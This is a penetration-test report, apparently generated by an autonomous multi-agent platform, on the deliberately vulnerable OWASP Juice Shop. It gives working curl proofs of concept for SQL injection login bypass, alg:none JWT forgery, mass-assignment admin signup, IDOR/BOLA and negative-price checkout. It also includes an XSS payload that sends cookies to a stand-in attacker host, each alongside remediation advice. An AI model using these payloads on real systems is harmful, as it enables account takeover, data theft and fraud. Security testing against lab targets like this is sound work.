Cruxa Security Assessment — OWASP Juice Shop

Target: OWASP Juice Shop (reference application) Scan ID: juice-shop-20260710115053 Date: 10 July 2026
Conducted by: Cruxa — autonomous multi-agent security platform Nature: Capability benchmark — fully
autonomous scan, validated via the /client-report procedure

Why this report exists

OWASP Juice Shop is the most widely used deliberately-vulnerable web application in the world — nobody is
surprised that it contains vulnerabilities. This report shows something else: what Cruxa extracts from it
fully autonomously, and how solid the evidence is.

In a single uninterrupted, fully autonomous run, the Cruxa platform's 31 collaborating agents solved 26 of
OWASP Juice Shop's official challenges — from zero — and evaluated 166 raw findings. Our own evidence
gate confirmed 9 outright; after independent reproduction, 13 exploitable findings remained, and — more
important than the individual findings — it synthesised three complete attack chains showing how an
attacker combines them into full platform takeover. Every finding below carries a working Proof-of-Concept
and a concrete code fix in the application's own language.

That last point is the differentiator. A scanner that dumps a list of isolated vulnerabilities is a commodity. An
engine that reasons on its own — "this authorization gap, plus that stored script, plus that non-invalidated
session together form a silent admin takeover" — is not.

Executive Summary

Cruxa identified 13 confirmed, exploitable vulnerabilities: 5 critical (P1), 5 high (P2), and 3 medium (P3).
Five independent paths lead to full administrative takeover with no prior credential knowledge

whatsoever.
P1— 5 Default admin password, mass-assignment admin registration, JWT alg:none forgery,
Critical UNION SQL injection (34 users extracted), SQL authentication bypass
P2 — High 5 Full user database via BFLA, IDOR basket, BOLA checkout, stored XSS in admin, price
manipulation (-$897.01)
P3 — 3 Complaints database via BFLA, open FTP directory with confidential documents,
Medium unauthenticated metrics

Evidence discipline: of 166 raw findings, the automated evidence gate cleared just 9 outright (barely 5%).
120 were blocked for insufficient hard evidence and 37 flagged for manual verification; of those, 4 held up
after independent reproduction — together with the 9 they form the 13 findings in this report. Precisely the
difference between "a scanner claimed something" and "independently reproduced." This report contains
only the latter.
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Regulatory exposure: several findings trigger GDPR Art. 33 breach-notification obligations and PCI-DSS
reporting requirements through exposure of user data, password hashes, and full account takeover.

Scope

Target URL juice-shop.localhost (OWASP Juice Shop, Node,js / Express / Sequelize ORM)

Tested surface 80 endpoints (REST + API), unauthenticated and authenticated

Authentication Verified with default admin and customer accounts
Phases Recon — JS analysis — hypothesis generation — auth — authz — injection (server + client) —
executed business logic — mercury (lateral techniques) — exploit iteration — chain synthesis

Confirmed Findings

P1-01 — Default admin credentials live in production
Type: Hardcoded credentials - CWE-798 - OWASP A07:2021 - Endpoint: POST /rest/user/login
The application ships with a built-in default administrator account ( admin@juice-sh.op / admin123 ).

Authentication succeeds immediately, issuing a JWT with role:admin and full administrative privileges.

curl -s -X POST http://juice-shop.localhost/rest/user/login \
-H 'Content-Type: application/json' \

-d "{"email":"admin@juice-sh.op","password":"admin123"}"'

# » {"authentication":{"token":"eyJ...","bid":1,"umail":"admin@juice-sh.op"}}

Demonstrated impact: HTTP 200 with a valid admin JWT; token used to enumerate 34 user records
including 5 admin accounts. Full administrative access with no legitimate credential knowledge.

Remediation: Remove default credentials from all seeding scripts; enforce password change on first login;
strong password policy (min. 12 chars); MFA for admin accounts.

P1-02 — Mass assignment: unauthenticated admin self-registration

Type: Mass assignment - CWE-915 - OWASP A08:2021 - Endpoint: POST /api/Users

The registration endpoint accepts a role field in the request body and persists the client-supplied value
without server-side validation. Any unauthenticated attacker registers a role:admin accountin one request.
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curl -si -X POST http://juice-shop.localhost/api/Users \
-H 'Content-Type: application/json' \

-d '"{"email":"attacker@evil.com","password":"Attack3r!","role":"admin"}"
# - HTTP/1.1 201 Created
# » {"data":{"id":36,"email":"attacker@evil.com","role":"admin",
# "profileImage":"/assets/public/images/uploads/defaultAdmin.png"}}

Demonstrated impact: HTTP 201 with role:admin confirmed; profileImage setto defaultAdmin.png
confirms the admin role was applied. Zero-barrier privilege escalation: any visitor becomes admin in one
HTTP request.

Remediation: Strict field whitelist on PosT /api/Users (only email, password , username ). Strip role,
isAdmin , deluxeToken from the accepted body. Assign roles only via trusted admin workflows.

P1-03 — JWT ailg:none : forged admin token accepted without signature
Type: Cryptographic verification failure - CWE-347 - OWASP A02:2021 - Endpoint: all authenticated

endpoints

The JWT verification middleware accepts tokens with alg:none (no signature), letting an attacker forge any
identity — including admin — without knowing the RS256 private key. All case variants ( none , None , NONE )
are accepted.

# Forge an admin JWT with alg:none (no key needed)

HEADER=$(echo -n '{"alg":"none","typ":"IWT"}' | base64 -w@ | tr '+/' '-_' | tr -d '=")

PAYLOAD=$(echo -n '{"data":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}' | base64 -w@ | tr '+/'
FORGED="${HEADER}.${PAYLOAD}."

# The forged token is accepted on admin endpoints:
curl -s -H "Authorization: Bearer $FORGED" \

http://juice-shop.localhost/api/Users | jq '.data | length'

# > 34  (full user list returned on an unsigned token)

Demonstrated impact: A JWT with alg:none and role:admin — carrying no valid signature — is accepted
as admin. GET /api/Users returns the full user database (34 records) on the forged token. Because the
signature is never checked, any identity — including admin — can be forged; the authentication model is
fully bypassed, which permits any administrative action.

Remediation: In jsonwebtoken (Node,js): always jwt.verify(token, secret, {algorithms: ['RS256']}) .
Reject any JWT whose header alg is none or empty before verification. Never use jwt.decode() without
verification for authorization decisions.

P1-04 — UNION SQL injection: 34 users extracted unauthenticated

Type: SQL injection (UNION-based) - CWE-89 - OWASP A03:2021 - Endpoint: GET /rest/products/search?
q:
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The product-search endpoint interpolates the q parameter directly into a SQL query. A UNION injection
with matching column count lets an unauthenticated attacker read arbitrary tables — including the full
Users table with emails and password hashes.

# Unauthenticated UNION injection on the search endpoint (column count matched)
curl -s "http://juice-shop.localhost/rest/products/search?q=<UNION-payload>"

# - response.data contains 34 user records:

# id=1 email=admin@juice-sh.op password=0192023a7bbd73250516f069df18b500

# id=4 email=bjoern.kimminich@gmail.com ...

Demonstrated impact: Evidence type C (data exfiltration): 34 user records — emails and MD5 password
hashes — returned in the response, fully unauthenticated. Directly chains with P2-11 (MD5 hashes): the
extracted hashes are trivially cracked offline = permanent account takeover.

Remediation: Use parameterised queries / prepared statements. Never interpolate user input into SQL
strings. In Sequelize: use replacements or the query builder, never string concatenation.

P1-05 — SQL injection authentication bypass on login
Type: SQL injection (auth bypass) - CWE-89 - OWASP A03:2021 - Endpoint: POST /rest/user/login
The login endpoint is vulnerable to a classic authentication bypass: an injected OR 1=1 condition in the

email field makes the query match the first record (admin), issuing a valid admin JWT without a password.

curl -s -X POST http://juice-shop.localhost/rest/user/login \
-H 'Content-Type: application/json' \

-d $'{"email":"\"' OR 1=1--","password":"anything"}"
# > HTTP 200 with admin JWT (id=1, role=admin)

Demonstrated impact: Admin authentication without valid credentials; returns an admin JWT with the
password hash in its payload (see P2-11). Independent of P1-01 — works even after the default password is
changed.

Remediation: Parameterised queries in the login handler. Never escape manually; use the ORM bindings.

P2-06 — Broken Function Level Authorization: full user database

Type: BFLA - CWE-285 - OWASP A01:2021 - Endpoint: GET /api/Users

/api/Users returns all users (including admins) to any authenticated customer, with no role check. Any
customer enumerates all emails, roles, deluxe tokens, and last-login IPs.

# Logged in as a regular customer:
curl -s -H "Authorization: Bearer $CUSTOMER_TOKEN" \
http://juice-shop.localhost/api/Users | jq '.data[] | {id,email,role}"

# > {"id":1,"email":"admin@juice-sh.op","role":"admin"}
# {"id":4,"email":"bjoern.kimminich@gmail.com","role":"admin"}
# ... (34 records)
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Demonstrated impact: Full user database returned to a role:customer token;5 admin accounts, deluxe
tokens ( d715c2c75d4a42d3825a ), and login IPs exposed. Basis for targeted phishing and credential stuffing.

Remediation:

router.get('/api/Users', (req, res) => {

if (!req.user || req.user.data.role !== 'admin')

return res.status(403).json({error: 'Forbidden'});
// ... existing logic
1

P2-07 — IDOR: any shopping basket readable
Type: IDOR - CWE-639 - OWASP A01:2021 - Endpoint: GET /rest/basket/{id}

The basket endpoint returns any basket's contents by ID without verifying ownership. Any authenticated user
reads any other basket by incrementing the ID.

# Customer B (uid=24) reads customer A's basket (uid=23):
curl -s -H "Authorization: Bearer $TOKEN_B" http://juice-shop.localhost/rest/basket/6
# > {"data":{"id":6,"UserId":23,"Products":[...]}} (a different account)

Demonstrated impact: Cross-account basket read confirmed with two test accounts; the admin basket
( basket/1 , Userld=1) is readable by any customer. Product selections, quantities, and purchase intent
exposed for all users.

Remediation: Ownership check before returning:
const basket = await Basket.findByPk(req.params.id);

if (basket.UserId !== req.user.data.id)
return res.status(403).json({error: 'Forbidden'});

P2-08 — BOLA: checking out another user's basket
Type: BOLA - CWE-639 - OWASP A01:2021 - Endpoint: POST /rest/basket/{id}/checkout

The checkout endpoint processes any basket by ID without ownership check. An attacker force-checks-out a
victim's basket, generating an order confirmation and emptying their cart.

# Attacker (uid=23) checks out a victim's basket:
curl -s -X POST -H "Authorization: Bearer $TOKEN_A" \

http://juice-shop.localhost/rest/basket/7/checkout
# > HTTP 200 {"orderConfirmation":"5f8a-b143585b646365d8"}
#  (basket 7 is owned by UserId 24 — checked out by UserId 23)

Demonstrated impact: Two-account proof: customer A checks out customer B's basket (HTTP 200 + order

confirmation); also confirmed on the admin basket. Financial disruption: legitimate orders sabotaged, cart
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contents lost.

Remediation: Same ownership check as P2-07 on the checkout handler.

P2-09 — Stored XSS in the admin username
Type: Stored XSS - CWE-79 - OWASP A03:2021 - CVSS 6.1 - Endpoint: admin username, rendered on

/administration

The admin username contains a stored XSS payload that fires when an admin opens the /administration
panel. Critically, the payload is readable by any customer via the BFLA flaw (P2-06) — the attacker needs no
admin access to set the trap.

# Any customer can read the stored payload via BFLA:
curl -s -H "Authorization: Bearer $CUSTOMER_TOKEN" \

http://juice-shop.localhost/api/Users/1 | jq '.data.username'

# > "<img src=x id=xsstest onerror=alert(document.domain)>"

Demonstrated impact: Stored payload confirmed in the admin username; document.domain = juice-
shop.localhost executes when the admin panel renders. Weaponised ( onerror="fetch('//attacker/?
c="+document.cookie)" ) this yields admin session theft. See CHAIN-02.

Remediation: Sanitise the username on input (allowlist); HTML-escape all user fields before rendering;
Content-Security-Policy: script-src 'self' ; DOMPurify client-side.

P2-10 — Price manipulation via negative quantity (-$897.01)
Type: Business logic - CWE-840 - OWASP A04:2021 - Endpoint: PUT /api/BasketItems/{id}

PUT /api/BasketItems/{id} accepts quantity with no lower bound. A negative quantity on an $8.99 item
produces a basket total of -$897.01, and checkout succeeds.

curl -s -X PUT -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"quantity":-100}"' http://juice-shop.localhost/api/BasketItems/12
# » {"data":{"quantity":-100,...}}

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
http://juice-shop.localhost/rest/basket/6/checkout
# - {"orderConfirmation":"5f8a-25ed4acf80e5abac2"} (checked out on a negative total)

Demonstrated impact: State mutation confirmed: negative quantity accepted and persisted, basket total -
$897.01, checkout succeeds with an order confirmation. Direct financial fraud (negative order value / credit

creation).

Remediation: Validate quantity >= 1 server-side in PUT /api/BasketItems/{id} and at checkout.
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P2-11 — MD5 password hash leaked in JWT payload
Type: Cryptographic weakness / info disclosure - CWE-327 - OWASP A02:2021 - Endpoint: posT

/rest/user/login

Every JWT payload contains an MD5 hash of the password in the .data.password field. MD5 is
computationally broken — free online services reverse common passwords instantly. Combined with P1-04
(UNION SQLi extracts the same hashes unauthenticated) — permanent account takeover.

echo $TOKEN | cut -d. -f2 | base64 -d | jq '.data.password'

# - "0192023a7bbd73250516f069df18b500" (MD5 of the admin password)

Demonstrated impact: Password hash readable from any JWT without a key; admin hash exposed. Unsalted
MD5 - trivially cracked.

Remediation: Remove the password field from the JWT payload entirely. Move from MD5 to bcrypt/argon2

for password storage.

P3-12 — BFLA: all complaints readable
Type: BFLA - CWE-285 - OWASP A01:2021 - Endpoint: GET /api/Complaints

Any authenticated customer can list all complaint records from other customers. The endpoint requires
authentication (401 unauthenticated) but performs no role check.

curl -s -H "Authorization: Bearer $TOKEN" http://juice-shop.localhost/api/Complaints

# » {"data":[{"UserId":3,"id":1,"message":"..."},{"UserId":null,"id":2, "message":"test"}]}

Demonstrated impact: All complaints readable by any authenticated user; userid linkage enables identity
correlation.

Remediation: Restrict GET /api/Complaints to the admin role.

P3-13 — Open FTP directory: confidential documents exposed
Type: Info disclosure / broken access control - CWE-548 - OWASP A05:2021 - Endpoint: GET /ftp/

The /ftp/ directory is browsable without authentication. Beyond a whitelist bypass (via a null-byte

truncation on the file extension), all sensitive files are downloadable unauthenticated.

curl -s http://juice-shop.localhost/ftp/ # directory listing

curl -s http://juice-shop.localhost/ftp/acquisitions.md # confidential M&A document

Demonstrated impact: Exposed files: acquisitions.md (confidential acquisition document — "Our
company plans to acquire several competitors... significant stock market impact" — market-moving
information), incident-support.kdbx (KeePass password database, downloadable), coupons_2013.md.bak
(discount codes), encrypt.pyc . Whitelist bypass confirmed: all 5 files downloaded unauthenticated.
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Remediation: Remove /ftp/ from the web server. Store documents behind authenticated, authorized API
endpoints.

Additional — Unauthenticated /metrics (P3)

GET /metrics returns 366 lines of Prometheus metrics without authentication: upload statistics, internal task

names, startup timings. Remediation: restrict to the internal network or add HTTP basic auth.

Attack Chains — where isolated findings converge

This is where the Cruxa platform separates itself from a scanner: it combines findings into complete attack
scenarios.

CHAIN-01 — Zero-credential full admin takeover (three independent paths)

POST /api/Users {role:admin} > 201 -» login - admin JWT
POST /rest/user/login {admin:admin123} -» 200 - admin IJWT

Forge JWT (alg:none, role:admin) -» accepted on all endpoints

Any path grants full administrative access to all 34 users, all orders, all configuration. Three independent
routes means closing one leaves the other two intact — the robustness of the attack is itself a finding.

CHAIN-02 — Customer — full user database — silent admin session takeover

. GET /api/Users (BFLA, P2-06) > enumerate all users + admin emails

. GET /api/Users/1 > read admin username with stored XSS (P2-09)
. Wait for an admin to open /administration

. XSS fires in the admin browser -» exfiltrate the admin session

. Use the session -» full admin control

A regular customer sets a trap (reads the payload across the authorization gap), waits passively, and hijacks
the admin session the moment it logs in — never holding admin rights themselves.

CHAIN-03 — Cross-account order sabotage

1. GET /rest/basket/{id} (IDOR, P2-07) > read the victim's basket
2. POST /rest/basket/{id}/checkout (BOLA, P2-08) - force checkout

3. Victim's cart emptied, spurious order generated

Additionally detected: SQL auth bypass + MD5 hash leak — permanent credential theft; and alg:none - full
DB exfiltration with zero credentials.

Cruxa - Confidential - Open benchmark OWASP Juice Shop page 8 of 10



Investigated but filtered — the evidence discipline

This report's strength lies as much in what it excludes. Of 166 raw findings, 120 were blocked by the
evidence gate for failing the hardness bar (HTTP status without a demonstrated side-effect, hypothetical
framing, or duplicate detection). Examples of deliberately excluded or downgraded claims:

Various "injection labels" on endpoints HTTP 200 only, no demonstrable query
manipulation or data extraction — blocked

Time-based timing signals Timing noise without attributable delay — not
counted as SQLi

Protected admin endpoints ( /api/Cards , /api/Addresss, Correctly 401/403 — good access control,
/api/PrivacyRequests , /rest/basket ) explicitly excluded

This transparency prevents a security report from inflating itself with theoretical findings — the core reason
"independently reproduced” is a hard requirement.

Tested coverage & confidence

* Tested surface: 80 endpoints (REST + API), unauthenticated and authenticated. Phases executed:
recon, JS-bundle analysis, hypothesis generation, authentication, authorization, injection (server +
client), business logic, lateral techniques (mercury), exploit iteration, and chain synthesis. 31 agents, 0
failures.

* Confidence: high confidence on the tested surface; all 13 findings are independently reproduced with
working PoCs. The unauthenticated surface is exhaustively covered; the authenticated surface was
tested with administrative rights and a second customer test account (for the cross-account
IDOR/BOLA proofs).

¢ Definitively closed: classic access control on the protected admin resources ( /api/Cards ,

/api/Addresss , /api/PrivacyRequests ) is correct (401/403) and thereby excluded as an attack vector.

Methodology

Cruxa runs a fully autonomous scan with 31 specialised agents cooperating in parallel and in sequence:
reconnaissance, JS-bundle analysis, hypothesis generation, and specialised exploit agents per vulnerability
class, concluded by a chain-synthesis agent and a strict evidence gate. The gate confirmed 9 findings
outright; the remaining 4 were confirmed after independent reproduction — not on intuition, but on live
evidence. In the same run the scan solved 26 of OWASP Juice Shop's official challenges autonomously. Prior
to publication, each finding was re-validated via the /client-report procedure.
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Compliance & audit

Framework Relevance

OWASP Top 10 AO01 (access control), A02 (crypto), AO3 (injection), A04 (business logic), AO5 (misconfiguration),
(2021) A07 (authentication), A0O8 (integrity) — 7 of 10 categories touched
CWE 798, 915, 347, 89, 285, 639, 79, 840, 327, 548
GDPR Art. 33 notification (exposure of user data + password hashes)
PCI-DSS Account takeover + financial manipulation affect payment integrity
About this report

Generated by Cruxa — autonomous security platform — and validated on 10 July 2026 via the /client-
report procedure. Every finding above is independently reproduced with a working Proof-of-Concept and a
concrete code fix. This is a single uninterrupted, fully autonomous run — with no manual steering of the scan
itself.

Cruxa — 10 July 2026 - cruxa.io
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